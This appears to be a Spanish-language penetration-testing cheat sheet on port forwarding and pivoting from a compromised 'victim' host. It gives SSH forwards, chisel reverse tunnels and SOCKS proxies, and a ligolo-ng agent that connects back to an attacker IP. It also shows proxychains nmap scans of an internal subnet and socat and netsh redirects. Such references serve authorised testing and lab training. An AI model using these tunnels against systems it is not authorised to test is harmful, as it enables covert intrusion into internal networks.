Port forwarding y pivoting
Si la máquina tiene un puerto que solo escucha en 127.0.0.1 o una segunda red, aquí tienes cómo traértelo a tu máquina.
SSH
Con acceso SSH a la víctima
ssh -L 8080:127.0.0.1:8080 [email protected]
Después abre http://127.0.0.1:8080 en tu navegador.
ssh -D 1080 -N [email protected]
ssh -R 8080:127.0.0.1:8080 [email protected] -N
~C
-L 3306:127.0.0.1:3306
Dentro de una sesión SSH abierta, pulsa Enter, luego ~C y escribe la opción.
chisel
Usa la misma versión de chisel en las dos máquinas. Funciona sobre HTTP, así que suele pasar los cortafuegos.
Un puerto concreto
./chisel server --reverse -p 8000
./chisel client 10.10.14.5:8000 R:8080:127.0.0.1:8080
Proxy SOCKS a la red interna
./chisel client 10.10.14.5:8000 R:socks
Abre un SOCKS5 en el puerto 1080 de tu máquina.
.\chisel.exe client 10.10.14.5:8000 R:socks
ligolo-ng
Crea una interfaz de red en tu máquina, así que puedes usar nmap y cualquier herramienta sin proxychains. Las versiones recientes también pueden crear la interfaz desde su consola (escribe help).
Montar el túnel
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert
./agent -connect 10.10.14.5:11601 -ignore-cert
session
start
sudo ip route add 172.16.1.0/24 dev ligolo
Cambia 172.16.1.0/24 por la red interna; la calculadora de subredes te ayuda a sacarla.
Otros
proxychains
socks5 127.0.0.1 1080
proxychains -q nmap -sT -Pn --top-ports 100 172.16.1.10
Con proxychains solo funciona TCP connect (-sT), sin ping (-Pn).
Redirecciones simples
socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80
netsh interface portproxy add v4tov4 listenport=8888 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.1.10
Ningún comando coincide.